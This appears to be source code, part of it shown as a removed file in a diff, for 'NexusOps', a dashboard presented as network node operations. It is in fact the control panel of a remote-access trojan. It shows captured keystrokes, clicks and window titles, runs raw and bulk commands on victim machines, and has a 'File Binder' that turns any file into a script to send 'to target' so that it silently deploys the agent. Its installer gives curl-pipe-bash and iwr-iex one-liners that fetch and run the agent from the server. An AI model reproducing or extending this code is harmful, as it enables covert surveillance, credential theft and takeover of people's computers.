<div class="platform-badge-icon">
<i class="${osIcon}"></i>
</div>
<div class="node-title">
<h3>${escapeHtml(node.hostname)}</h3>
<span>${node.ip} • ${node.osName || node.platform}</span>
</div>
</div>
<span class="status-badge ${isOnline ? 'online' : 'offline'}">
<span class="status-indicator ${isOnline ? 'online' : ''}"></span>
${isOnline ? 'Online' : 'Offline'}
</span>
</div>
<div class="metrics-container">
<div class="metric-bar-group">
<div class="metric-bar-label">
<span><i class="fa-solid fa-microchip"></i> CPU Usage</span>
<span>${node.cpuUsage}%</span>
</div>
<div class="metric-bar-bg">
<div class="metric-bar-fill fill-cpu" style="width: ${node.cpuUsage}%"></div>
</div>
</div>
<div class="metric-bar-group">
<div class="metric-bar-label">
<span><i class="fa-solid fa-memory"></i> Memory</span>
<span>${node.memUsage}%</span>
</div>
<div class="metric-bar-bg">
<div class="metric-bar-fill fill-mem" style="width: ${node.memUsage}%"></div>
</div>
</div>
<div class="metric-bar-group">
<div class="metric-bar-label">
<span><i class="fa-solid fa-hard-drive"></i> Disk Space</span>
<span>${node.diskUsage}%</span>
</div>
<div class="metric-bar-bg">
<div class="metric-bar-fill fill-disk" style="width: ${node.diskUsage}%"></div>
</div>
</div>
</div>
<div class="card-footer">
<span style="font-size: 0.75rem; color: var(--text-muted)">
<i class="fa-regular fa-clock"></i> Heartbeat: ${formatTime(node.lastHeartbeat)}
</span>
<div class="node-actions">
<button class="btn-icon" title="Ping Node" onclick="pingNode('${node.id}', '${escapeHtml(node.hostname)}')">
<i class="fa-solid fa-bolt"></i>
</button>
<button class="btn-icon" title="Control Center" onclick="openCommandModal('${node.id}', '${escapeHtml(node.hostname)}')">
<i class="fa-solid fa-sliders"></i> Control
</button>
<button class="btn-icon" title="Unregister Node" onclick="deleteNode('${node.id}')">
<i class="fa-solid fa-trash-can"></i>
</button>
</div>
</div>
</div>
`;
}).join('');
}
function renderAuditLogs() {
const container = document.getElementById('auditLogContent');
document.getElementById('logCount').textContent = `${commandHistory.length} events`;
if (commandHistory.length === 0) {
container.innerHTML = `<div class="log-entry system">[SYSTEM] Server listening on http://${serverIp}:${serverPort}. No control task events yet.</div>`;
return;
}
container.innerHTML = commandHistory.map(item => {
let statusClass = item.status === 'completed' ? 'success' : item.status === 'failed' ? 'error' : 'system';
return `
<div class="log-entry ${statusClass}">
[${new Date(item.createdAt).toLocaleTimeString()}] <strong>${escapeHtml(item.hostname)}</strong> ➔ ${escapeHtml(item.command)} | STATUS: ${item.status.toUpperCase()}
${item.output ? `<pre style="margin-top:0.2rem; font-size:0.8rem; color:#d1d5db; white-space:pre-wrap;">${escapeHtml(item.output.trim())}</pre>` : ''}
</div>
`;
}).join('');
container.scrollTop = container.scrollHeight;
}
function renderMasterSyslogs() {
const container = document.getElementById('syslogStreamContent');
if (!container) return;
const countEl = document.getElementById('syslogCount');
const searchInput = document.getElementById('logSearchInput');
const query = searchInput ? searchInput.value.toLowerCase().trim() : '';
let filtered = masterSystemLogs;
if (query) {
filtered = masterSystemLogs.filter(l =>
l.hostname.toLowerCase().includes(query) ||
l.entry.toLowerCase().includes(query)
);
}
if (countEl) countEl.textContent = `${filtered.length} entries`;
if (filtered.length === 0) {
container.innerHTML = `<div class="log-entry system">[SYSTEM] Central log stream active. No entries matching "${escapeHtml(query)}".</div>`;
return;
}
container.innerHTML = filtered.map(log => {
let logText = escapeHtml(log.entry);
let isError = logText.toLowerCase().includes('error') || logText.toLowerCase().includes('fail');
let isWarn = logText.toLowerCase().includes('warn');
let logClass = isError ? 'error' : isWarn ? 'system' : 'success';
return `
<div class="log-entry ${logClass}">
[${new Date(log.timestamp).toLocaleTimeString()}] <strong style="color:var(--primary-cyan);">${escapeHtml(log.hostname)}</strong>: ${logText}
</div>
`;
}).join('');
container.scrollTop = container.scrollHeight;
}
function initChart() {
const ctx = document.getElementById('telemetryChart').getContext('2d');
telemetryChart = new Chart(ctx, {
type: 'line',
data: {
labels: [],
datasets: [
{
label: 'Avg CPU Load (%)',
borderColor: '#06b6d4',
backgroundColor: 'rgba(6, 182, 212, 0.1)',
fill: true,
data: [],
tension: 0.4
},
{
label: 'Avg RAM Load (%)',
borderColor: '#8b5cf6',
backgroundColor: 'rgba(139, 92, 246, 0.1)',
fill: true,
data: [],
tension: 0.4
}
]
},
options: {
responsive: true,
maintainAspectRatio: false,
scales: {
x: {
grid: { color: 'rgba(255, 255, 255, 0.05)' },
ticks: { color: '#9ca3af' }
},
y: {
min: 0,
max: 100,
grid: { color: 'rgba(255, 255, 255, 0.05)' },
ticks: { color: '#9ca3af' }
}
},
plugins: {
legend: { labels: { color: '#f3f4f6' } }
}
}
});
}
function updateChartData() {
if (!telemetryChart) return;
const timeStr = new Date().toLocaleTimeString();
const onlineNodes = nodesData.filter(n => n.status === 'online');
const avgCpu = onlineNodes.length ? onlineNodes.reduce((a, b) => a + b.cpuUsage, 0) / onlineNodes.length : 0;
const avgMem = onlineNodes.length ? onlineNodes.reduce((a, b) => a + b.memUsage, 0) / onlineNodes.length : 0;
telemetryChart.data.labels.push(timeStr);
telemetryChart.data.datasets[0].data.push(Math.round(avgCpu));
telemetryChart.data.datasets[1].data.push(Math.round(avgMem));
if (telemetryChart.data.labels.length > 15) {
telemetryChart.data.labels.shift();
telemetryChart.data.datasets[0].data.shift();
telemetryChart.data.datasets[1].data.shift();
}
telemetryChart.update();
}
function getOsIcon(platform) {
const p = (platform || '').toLowerCase();
if (p.includes('win')) return 'fa-brands fa-windows';
if (p.includes('darwin') || p.includes('mac')) return 'fa-brands fa-apple';
return 'fa-brands fa-linux';
}
function escapeHtml(str) {
return (str || '').replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;");
}
function formatTime(timestamp) {
if (!timestamp) return 'Never';
const diff = Math.floor((Date.now() - timestamp) / 1000);
if (diff < 5) return 'Just now';
if (diff < 60) return `${diff}s ago`;
return `${Math.floor(diff / 60)}m ago`;
}
function setFilter(filter, el) {
currentFilter = filter;
document.querySelectorAll('.filter-btn').forEach(btn => btn.classList.remove('active'));
el.classList.add('active');
renderNodesGrid();
}
function filterNodes() {
renderNodesGrid();
}
function switchView(view, el) {
currentView = view;
document.querySelectorAll('.toggle-btn').forEach(btn => btn.classList.remove('active'));
el.classList.add('active');
renderNodesGrid();
}
function openInstallerModal() {
updateServerEndpoint();
document.getElementById('installerModal').classList.add('active');
}
function closeInstallerModal() {
document.getElementById('installerModal').classList.remove('active');
}
function switchTab(tabName) {
document.querySelectorAll('.tab-btn').forEach(btn => btn.classList.remove('active'));
document.querySelectorAll('.tab-content').forEach(content => content.classList.remove('active'));
event.currentTarget.classList.add('active');
document.getElementById(`tab-${tabName}`).classList.add('active');
}
function switchControlTab(tabName, btnEl) {
document.querySelectorAll('#commandModal .tab-btn').forEach(btn => btn.classList.remove('active'));
document.querySelectorAll('.control-tab-content').forEach(c => c.style.display = 'none');
btnEl.classList.add('active');
document.getElementById(`ctrl-${tabName}`).style.display = 'block';
}
function copyCode(elementId, btn) {
const text = document.getElementById(elementId).innerText;
navigator.clipboard.writeText(text).then(() => {
const original = btn.innerHTML;
btn.innerHTML = `<i class="fa-solid fa-check"></i> Copied!`;
btn.style.background = 'var(--accent-emerald)';
setTimeout(() => {
btn.innerHTML = original;
btn.style.background = '';
}, 2000);
});
}
function openCommandModal(nodeId, hostname) {
document.getElementById('cmdModalNodeId').value = nodeId;
document.getElementById('cmdModalHostname').textContent = hostname;
document.getElementById('cmdInput').value = '';
document.getElementById('commandModal').classList.add('active');
}
function closeCommandModal() {
document.getElementById('commandModal').classList.remove('active');
}
function setQuickCmd(cmd) {
document.getElementById('cmdInput').value = cmd;
}
function submitNodeAction(actionType, extraPayload = {}) {
const nodeId = document.getElementById('cmdModalNodeId').value;
let payload = { ...extraPayload };
if (actionType === 'raw_command') {
const command = document.getElementById('cmdInput').value.trim();
if (!command) return;
payload.command = command;
}
fetch(`/api/nodes/${nodeId}/command`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ actionType, payload, command: payload.command })
})
.then(res => res.json())
.then(data => {
if (data.success) {
closeCommandModal();
}
});
}
function submitServiceAction(action) {
const service = document.getElementById('serviceNameInput').value.trim();
if (!service) return alert("Please enter a service name (e.g. nginx)");
submitNodeAction('manage_service', { service, action });
}
function submitKillProcess() {
const pid = document.getElementById('killPidInput').value;
if (!pid) return alert("Please enter a valid PID");
submitNodeAction('kill_process', { pid });
}
function openBulkModal() {
document.getElementById('bulkModal').classList.add('active');
}
function closeBulkModal() {
document.getElementById('bulkModal').classList.remove('active');
}
function submitBulkCommand() {
const command = document.getElementById('bulkCmdInput').value.trim();
if (!command) return;
fetch('/api/nodes/bulk-command', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ actionType: 'raw_command', command, payload: { command } })
})
.then(res => res.json())
.then(data => {
if (data.success) {
closeBulkModal();
alert(`Task broadcasted to ${data.count} online network nodes!`);
} else {
alert(data.error || "Failed to dispatch bulk command");
}
});
}
function submitTagUpdate() {
const tags = document.getElementById('tagInput').value.trim();
if (!tags) return alert("Please enter at least one tag");
submitNodeAction('update_tags', { tags });
}
function submitHeartbeatRate() {
const interval = document.getElementById('heartbeatInput').value;
if (!interval) return alert("Please enter a valid interval in seconds");
submitNodeAction('set_heartbeat_rate', { interval: parseInt(interval) });
}
function submitSystemReboot() {
if (confirm("⚠️ Are you sure you want to reboot this target machine?")) {
submitNodeAction('reboot_system');
}
}
function deleteNode(nodeId) {
if (confirm("Are you sure you want to unregister this node?")) {
fetch(`/api/nodes/${nodeId}`, { method: 'DELETE' });
}
}
// ── Master Intelligence Log Rendering ──
function renderIntelLog() {
const container = document.getElementById('intelLogContent');
if (!container) return;
const nodeFilter = document.getElementById('intelNodeFilter');
const typeFilter = document.getElementById('intelTypeFilter');
const searchInput = document.getElementById('intelSearchInput');
// Populate node filter dropdown dynamically
if (nodeFilter) {
const currentVal = nodeFilter.value;
nodeFilter.innerHTML = '<option value="all">All Machines</option>';
nodesData.forEach(n => {
const sel = n.id === currentVal ? ' selected' : '';
nodeFilter.innerHTML += `<option value="${n.id}"${sel}>${escapeHtml(n.hostname)} (${n.ip})</option>`;
});
}
const selNodeId = nodeFilter ? nodeFilter.value : 'all';
const selType = typeFilter ? typeFilter.value : 'all';
const query = searchInput ? searchInput.value.toLowerCase().trim() : '';
// Show machine details when a specific node is selected
renderMachineDetails(selNodeId);
// Filter input data
let filtered = inputData;
if (selNodeId !== 'all') {
filtered = filtered.filter(e => e.nodeId === selNodeId);
}
if (selType !== 'all') {
filtered = filtered.filter(e => e.eventType === selType);
}
if (query) {
filtered = filtered.filter(e => {
const dataStr = JSON.stringify(e.data || '').toLowerCase();
return dataStr.includes(query) ||
(e.windowTitle || '').toLowerCase().includes(query) ||
(e.hostname || '').toLowerCase().includes(query);
});
}
const countEl = document.getElementById('intelCount');
if (countEl) countEl.textContent = `${filtered.length} events`;
if (filtered.length === 0) {
container.innerHTML = '<div class="log-entry system">[INTEL] No captured input events. Waiting for agent keystroke/click data...</div>';
return;
}
container.innerHTML = filtered.map(ev => {
const timeStr = new Date(ev.timestamp).toLocaleTimeString();
const hostStr = escapeHtml(ev.hostname || 'Unknown');
let icon, cssClass, detailStr;
switch (ev.eventType) {
case 'keystroke':
icon = '<i class="fa-solid fa-keyboard"></i>';
cssClass = 'log-entry intel-keystroke';
detailStr = `Key: <strong style="color:#fbbf24;">${escapeHtml((ev.data && ev.data.key) || '?')}</strong>`;
break;
case 'click':
icon = '<i class="fa-solid fa-arrow-pointer"></i>';
cssClass = 'log-entry intel-click';
detailStr = `Button: <strong style="color:#34d399;">${escapeHtml((ev.data && ev.data.button) || '?')}</strong> @ (${ev.data && ev.data.x}, ${ev.data && ev.data.y})`;
break;
case 'scroll':
icon = '<i class="fa-solid fa-arrow-up-wide-short"></i>';
cssClass = 'log-entry intel-scroll';
detailStr = `Scroll \u0394(${ev.data && ev.data.dx}, ${ev.data && ev.data.dy})`;
break;
default:
icon = '<i class="fa-solid fa-circle-dot"></i>';
cssClass = 'log-entry';
detailStr = escapeHtml(JSON.stringify(ev.data || {}));
}
const winStr = ev.windowTitle ? ` <span style="color:var(--text-dim); font-size:0.75rem;">[${escapeHtml(ev.windowTitle)}]</span>` : '';
return `<div class="${cssClass}">
<span style="color:var(--primary-cyan);">[${timeStr}]</span>
${icon}
<strong style="color:var(--primary-purple);">${hostStr}</strong>
${detailStr}${winStr}
</div>`;
}).join('');
container.scrollTop = container.scrollHeight;
}
function renderMachineDetails(nodeId) {
const bar = document.getElementById('machineDetailsBar');
if (!bar) return;
if (nodeId === 'all') {
const machinesWithInput = [...new Set(inputData.map(e => e.nodeId))];
if (machinesWithInput.length === 0) {
bar.innerHTML = '<span style="color: var(--text-muted); font-size: 0.8rem;"><i class="fa-solid fa-info-circle"></i> Select a specific machine to see its full details here. Input data from agents will appear below.</span>';
} else {
bar.innerHTML = `<span style="color: var(--text-muted); font-size: 0.8rem;"><i class="fa-solid fa-server"></i> ${machinesWithInput.length} machine(s) reporting input data. Select one above for details.</span>`;
}
return;
}
const node = nodesData.find(n => n.id === nodeId);
if (!node) {
bar.innerHTML = '<span style="color: var(--text-muted); font-size: 0.8rem;">Machine details unavailable.</span>';
return;
}
const statusColor = node.status === 'online' ? 'var(--accent-emerald)' : 'var(--accent-rose)';
const osIcon = getOsIcon(node.platform);
bar.innerHTML = `
<div class="machine-detail-chip"><i class="${osIcon}"></i> <strong>${escapeHtml(node.hostname)}</strong></div>
<div class="machine-detail-chip"><i class="fa-solid fa-globe"></i> ${escapeHtml(node.ip)}</div>
<div class="machine-detail-chip"><i class="fa-solid fa-laptop"></i> ${escapeHtml(node.osName || node.platform)} (${escapeHtml(node.arch || 'x64')})</div>
<div class="machine-detail-chip"><i class="fa-solid fa-microchip"></i> CPU: ${node.cpuUsage}%</div>
<div class="machine-detail-chip"><i class="fa-solid fa-memory"></i> MEM: ${node.memUsage}%</div>
<div class="machine-detail-chip"><i class="fa-solid fa-hard-drive"></i> DISK: ${node.diskUsage}%</div>
<div class="machine-detail-chip"><i class="fa-solid fa-clock"></i> ${formatUptime(node.uptime)}</div>
<div class="machine-detail-chip" style="color:${statusColor};"><i class="fa-solid fa-circle"></i> ${node.status.toUpperCase()}</div>
`;
}
function formatUptime(seconds) {
if (!seconds || seconds <= 0) return 'N/A';
const d = Math.floor(seconds / 86400);
const h = Math.floor((seconds % 86400) / 3600);
const m = Math.floor((seconds % 3600) / 60);
if (d > 0) return `${d}d ${h}h`;
if (h > 0) return `${h}h ${m}m`;
return `${m}m`;
}
// ── File Binder ──
let binderFile = null;
function openBinderModal() {
updateServerEndpoint();
document.getElementById('binderModal').classList.add('active');
resetBinder();
}
function closeBinderModal() {
document.getElementById('binderModal').classList.remove('active');
resetBinder();
}
function resetBinder() {
binderFile = null;
document.getElementById('binderFileInput').value = '';
document.getElementById('binderFileName').innerHTML = 'Click or drag any file here';
document.getElementById('binderDropzone').classList.remove('has-file');
document.getElementById('binderSubmitBtn').disabled = true;
document.getElementById('binderStatus').style.display = 'none';
}
function handleBinderFile(input) {
if (input.files && input.files[0]) {
binderFile = input.files[0];
document.getElementById('binderFileName').innerHTML = `<strong>${escapeHtml(binderFile.name)}</strong> <span style="color:var(--text-dim);">(${(binderFile.size / 1024).toFixed(1)} KB)</span>`;
document.getElementById('binderDropzone').classList.add('has-file');
document.getElementById('binderSubmitBtn').disabled = false;
}
}
async function submitBinder() {
if (!binderFile) return;
const btn = document.getElementById('binderSubmitBtn');
const status = document.getElementById('binderStatus');
btn.disabled = true;
btn.innerHTML = '<i class="fa-solid fa-spinner fa-spin"></i> Binding...';
status.style.display = 'block';
status.className = '';
status.textContent = 'Processing file...';
const formData = new FormData();
formData.append('file', binderFile);
try {
const resp = await fetch('/api/bind', { method: 'POST', body: formData });
if (!resp.ok) {
const err = await resp.json().catch(() => ({ error: 'Server error' }));
throw new Error(err.error || `HTTP ${resp.status}`);
}
const blob = await resp.blob();
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = binderFile.name + '.sh';
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
URL.revokeObjectURL(url);
status.className = 'success';
status.textContent = `✅ Bound file downloaded! Send "${binderFile.name}.sh" to target. When executed, it opens the original file and deploys the agent.`;
} catch (e) {
status.className = 'error';
status.textContent = `❌ ${e.message}`;
}
btn.disabled = false;
btn.innerHTML = '<i class="fa-solid fa-wand-magic-sparkles"></i> Bind & Download';
}
// ── Kill Switch ──
function killSwitch() {
if (!confirm('⚠️ KILL SWITCH: This will terminate ALL agent processes on ALL connected machines. Continue?')) return;
fetch('/api/nodes/killswitch', { method: 'POST' })
.then(r => r.json())
.then(d => {
if (d.success) alert(`☠️ Kill switch sent to ${d.count} node(s). Agents will shut down on next heartbeat.`);
else alert(d.error || 'No nodes to kill.');
});
}
// ── Ping Node ──
function pingNode(nodeId, hostname) {
fetch(`/api/nodes/${nodeId}/ping`, { method: 'POST' })
.then(r => r.json())
.then(d => {
if (d.success) alert(`⚡ Ping sent to ${hostname}. Check command log for latency response.`);
});
}
// ── New Node Sound & Notification ──
let knownNodeIds = new Set();
function checkForNewNodes() {
nodesData.forEach(node => {
if (!knownNodeIds.has(node.id) && node.status === 'online') {
knownNodeIds.add(node.id);
// Browser notification
if (Notification.permission === 'granted') {
new Notification('🖥️ New Agent Connected', {
body: `${node.hostname} (${node.ip}) — ${node.osName || node.platform}`,
icon: '/favicon.ico'
});
}
// Audio ping
try {
const ctx = new (window.AudioContext || window.webkitAudioContext)();
const osc = ctx.createOscillator();
const gain = ctx.createGain();
osc.connect(gain); gain.connect(ctx.destination);
osc.frequency.setValueAtTime(880, ctx.currentTime);
osc.frequency.setValueAtTime(1100, ctx.currentTime + 0.1);
gain.gain.setValueAtTime(0.3, ctx.currentTime);
gain.gain.exponentialRampToValueAtTime(0.01, ctx.currentTime + 0.3);
osc.start(ctx.currentTime);
osc.stop(ctx.currentTime + 0.3);
} catch(e) {}
}
});
// Also mark offline nodes
nodesData.forEach(node => knownNodeIds.add(node.id));
}
// Request notification permission on first interaction
document.addEventListener('click', () => {
if (Notification.permission === 'default') Notification.requestPermission();
}, { once: true });

View File

@@ -1,499 +0,0 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>NexusOps — Central Network Node Operations</title>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&family=JetBrains+Mono:wght@400;500;700&family=Outfit:wght@500;600;700;800&display=swap" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
<link rel="stylesheet" href="styles.css">
</head>
<body>
<!-- Top Navigation Header -->
<header class="top-nav">
<div class="logo-area">
<div class="logo-icon">
<i class="fa-solid fa-network-wired"></i>
</div>
<div>
<h1 class="logo-text">Nexus<span>Ops</span></h1>
<span class="sub-text">Node Control & Telemetry Operations</span>
</div>
</div>
<div class="nav-metrics">
<div class="metric-pill">
<span class="pill-label">Server Endpoint:</span>
<span class="pill-value highlight-endpoint" id="navServerEndpoint">http://10.30.20.44:3000</span>
</div>
<div class="metric-pill">
<span class="status-indicator online"></span>
<span class="pill-label">Status:</span>
<span class="pill-value" id="navConnectionStatus">Connected</span>
</div>
</div>
<div class="action-area" style="display: flex; gap: 0.75rem;">
<a href="/api/export/csv" class="btn btn-secondary" style="text-decoration: none;" download>
<i class="fa-solid fa-file-csv"></i> Nodes CSV
</a>
<a href="/api/inputs/csv" class="btn btn-secondary" style="text-decoration: none;" download>
<i class="fa-solid fa-file-csv"></i> Inputs CSV
</a>
<button class="btn btn-secondary" onclick="openBinderModal()">
<i class="fa-solid fa-file-circle-plus"></i> File Binder
</button>
<button class="btn btn-secondary" onclick="openBulkModal()">
<i class="fa-solid fa-layer-group"></i> Bulk Task
</button>
<button class="btn btn-primary" onclick="openInstallerModal()">
<i class="fa-solid fa-plus"></i> Add Computer
</button>
<button class="btn btn-secondary" style="border-color: var(--accent-rose); color: var(--accent-rose);" onclick="killSwitch()">
<i class="fa-solid fa-skull"></i> Kill Switch
</button>
</div>
</header>
<!-- Main Container -->
<main class="dashboard-container">
<!-- Stats Row Overview -->
<section class="stats-grid">
<div class="stat-card">
<div class="stat-icon cyan"><i class="fa-solid fa-server"></i></div>
<div class="stat-details">
<span class="stat-label">Total Nodes</span>
<h2 class="stat-number" id="statTotalNodes">0</h2>
</div>
</div>
<div class="stat-card">
<div class="stat-icon emerald"><i class="fa-solid fa-circle-check"></i></div>
<div class="stat-details">
<span class="stat-label">Online Nodes</span>
<h2 class="stat-number" id="statOnlineNodes">0</h2>
</div>
</div>
<div class="stat-card">
<div class="stat-icon rose"><i class="fa-solid fa-circle-exclamation"></i></div>
<div class="stat-details">
<span class="stat-label">Offline / Stale</span>
<h2 class="stat-number" id="statOfflineNodes">0</h2>
</div>
</div>
<div class="stat-card">
<div class="stat-icon purple"><i class="fa-solid fa-bolt"></i></div>
<div class="stat-details">
<span class="stat-label">Avg Network CPU</span>
<h2 class="stat-number" id="statAvgCpu">0%</h2>
</div>
</div>
</section>
<!-- Toolbar & Filter Row -->
<div class="controls-toolbar">
<div class="search-box">
<i class="fa-solid fa-magnifying-glass"></i>
<input type="text" id="searchInput" placeholder="Search by hostname, IP, OS or ID..." onkeyup="filterNodes()">
</div>
<div class="filter-group">
<button class="filter-btn active" data-filter="all" onclick="setFilter('all', this)">All Nodes</button>
<button class="filter-btn" data-filter="online" onclick="setFilter('online', this)">Online</button>
<button class="filter-btn" data-filter="offline" onclick="setFilter('offline', this)">Offline</button>
</div>
<div class="view-toggle">
<button class="toggle-btn active" onclick="switchView('grid', this)"><i class="fa-solid fa-grid-2"></i> Grid</button>
<button class="toggle-btn" onclick="switchView('list', this)"><i class="fa-solid fa-list"></i> Table</button>
</div>
</div>
<!-- Nodes Grid -->
<div id="nodesGrid" class="nodes-grid-view">
<div class="empty-state">
<i class="fa-solid fa-satellite-dish fa-spin"></i>
<h3>Waiting for Agents to Connect...</h3>
<p>No nodes registered yet. Click "Add New Computer" to get your agent installer script or standalone binary.</p>
<button class="btn btn-secondary" onclick="openInstallerModal()">Get Agent Install Script</button>
</div>
</div>
<!-- Telemetry Chart -->
<section class="chart-section">
<div class="section-header">
<h3><i class="fa-solid fa-chart-line"></i> Real-time Aggregate System Telemetry</h3>
<span class="badge">Live Stream</span>
</div>
<div class="chart-container">
<canvas id="telemetryChart"></canvas>
</div>
</section>
<!-- Command Execution Audit Log -->
<section class="logs-section">
<div class="section-header">
<h3><i class="fa-solid fa-terminal"></i> Task & Control Execution Log</h3>
<span class="badge purple" id="logCount">0 events</span>
</div>
<div class="terminal-window">
<div class="terminal-body" id="auditLogContent">
<div class="log-entry system">[SYSTEM] NexusOps Telemetry Server ready. Waiting for node tasks...</div>
</div>
</div>
</section>
<!-- Master Centralized System & Audit Log Stream -->
<section class="logs-section">
<div class="section-header">
<h3><i class="fa-solid fa-file-lines"></i> Master Centralized System & Audit Log Stream</h3>
<div style="display: flex; align-items: center; gap: 0.75rem;">
<input type="text" id="logSearchInput" placeholder="Filter log output..." style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem;" onkeyup="renderMasterSyslogs()">
<span class="badge" id="syslogCount">0 entries</span>
</div>
</div>
<div class="terminal-window" style="height: 240px;">
<div class="terminal-body" id="syslogStreamContent">
<div class="log-entry system">[SYSTEM] Central log stream active. Listening for node syslog and audit events...</div>
</div>
</div>
</section>
<!-- Master Intelligence Log — unified input capture, machine details, and system events -->
<section class="logs-section" id="intelSection">
<div class="section-header">
<h3><i class="fa-solid fa-eye"></i> Master Intelligence Log — Input Capture & Machine Telemetry</h3>
<div style="display: flex; align-items: center; gap: 0.75rem;">
<select id="intelNodeFilter" style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem;" onchange="renderIntelLog()">
<option value="all">All Machines</option>
</select>
<select id="intelTypeFilter" style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem;" onchange="renderIntelLog()">
<option value="all">All Events</option>
<option value="keystroke">Keystrokes</option>
<option value="click">Clicks</option>
<option value="scroll">Scroll</option>
</select>
<input type="text" id="intelSearchInput" placeholder="Search input data..." style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem; width: 160px;" onkeyup="renderIntelLog()">
<span class="badge purple" id="intelCount">0 events</span>
</div>
</div>
<!-- Machine Details Quick-View Bar -->
<div id="machineDetailsBar" style="display: flex; flex-wrap: wrap; gap: 0.5rem; padding: 0.75rem; background: rgba(15,23,42,0.5); border-radius: var(--radius-sm); border: 1px solid var(--border-color); min-height: 40px;">
<span style="color: var(--text-muted); font-size: 0.8rem;">Select a machine above to view its details here...</span>
</div>
<div class="terminal-window" style="height: 300px;">
<div class="terminal-body" id="intelLogContent">
<div class="log-entry system">[INTEL] Master Intelligence Log active. Awaiting input capture data from agents...</div>
</div>
</div>
</section>
</main>
<!-- Agent Installer Modal -->
<div class="modal-overlay" id="installerModal">
<div class="modal-card">
<div class="modal-header">
<div class="title-with-icon">
<i class="fa-solid fa-download icon-accent"></i>
<div>
<h2>Deploy Agent to Network Computer</h2>
<p>Download the standalone agent binary or run the dynamic installation script on target systems.</p>
</div>
</div>
<button class="modal-close" onclick="closeInstallerModal()"><i class="fa-solid fa-xmark"></i></button>
</div>
<div class="modal-body">
<div class="os-tabs">
<button class="tab-btn active" onclick="switchTab('universal')"><i class="fa-solid fa-bolt"></i> Universal</button>
<button class="tab-btn" onclick="switchTab('binary')"><i class="fa-solid fa-box"></i> Binary</button>
<button class="tab-btn" onclick="switchTab('linux')"><i class="fa-brands fa-linux"></i> Linux</button>
<button class="tab-btn" onclick="switchTab('windows')"><i class="fa-brands fa-windows"></i> Windows</button>
<button class="tab-btn" onclick="switchTab('mac')"><i class="fa-brands fa-apple"></i> macOS</button>
<button class="tab-btn" onclick="switchTab('manual')"><i class="fa-brands fa-python"></i> Python</button>
</div>
<div class="tab-content active" id="tab-universal">
<p class="tab-description" style="color: var(--accent-emerald);"><strong>Recommended:</strong> Auto-detects OS and runs the correct installer. Single command, any platform, fully silent.</p>
<div class="code-block">
<code id="codeUniversal">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/install | bash</code>
<button class="btn-copy" onclick="copyCode('codeUniversal', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
</div>
<div class="tab-content" id="tab-binary">
<p class="tab-description">Compiled standalone binary executable (no Python installation required on target system).</p>
<div class="code-block">
<code id="codeBinary">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/bin/NexusAgent -o NexusAgent && chmod +x NexusAgent && ./NexusAgent --server <span class="server-url-placeholder">http://10.30.20.44:3000</span></code>
<button class="btn-copy" onclick="copyCode('codeBinary', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
<div style="margin-top: 0.75rem;">
<a id="binaryDownloadLink" href="http://10.30.20.44:3000/bin/NexusAgent" download="NexusAgent" class="btn btn-secondary" style="text-decoration: none;">
<i class="fa-solid fa-file-arrow-down"></i> Direct Download Compiled Executable (NexusAgent)
</a>
</div>
</div>
<div class="tab-content" id="tab-linux">
<p class="tab-description">Executes automated installer, configures systemd service, and starts background heartbeat daemon.</p>
<div class="code-block">
<code id="codeLinux">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/install.sh | sudo bash</code>
<button class="btn-copy" onclick="copyCode('codeLinux', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
</div>
<div class="tab-content" id="tab-windows">
<p class="tab-description">Downloads Python agent to ProgramData and launches background monitoring process.</p>
<div class="code-block">
<code id="codeWindows">iwr -useb <span class="server-url-placeholder">http://10.30.20.44:3000</span>/install.ps1 | iex</code>
<button class="btn-copy" onclick="copyCode('codeWindows', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
</div>
<div class="tab-content" id="tab-mac">
<p class="tab-description">Installs agent as a launchd background daemon with KeepAlive enabled. Auto-starts on login.</p>
<div class="code-block">
<code id="codeMac">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/install-mac.sh | bash</code>
<button class="btn-copy" onclick="copyCode('codeMac', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
</div>
<div class="tab-content" id="tab-manual">
<p class="tab-description">Download and run directly using standard Python 3 (No external dependencies required).</p>
<div class="code-block">
<code id="codeManual">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/agent.py -o agent.py && python3 agent.py --server <span class="server-url-placeholder">http://10.30.20.44:3000</span></code>
<button class="btn-copy" onclick="copyCode('codeManual', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
</div>
<div class="modal-info-box">
<i class="fa-solid fa-circle-info"></i>
<div>
<strong>Server Endpoint Pre-configured:</strong> All installers link to <span class="server-url-placeholder">http://10.30.20.44:3000</span>.
</div>
</div>
</div>
</div>
</div>
<!-- Multi-Control Node Center Modal -->
<div class="modal-overlay" id="commandModal">
<div class="modal-card" style="max-width: 720px;">
<div class="modal-header">
<div class="title-with-icon">
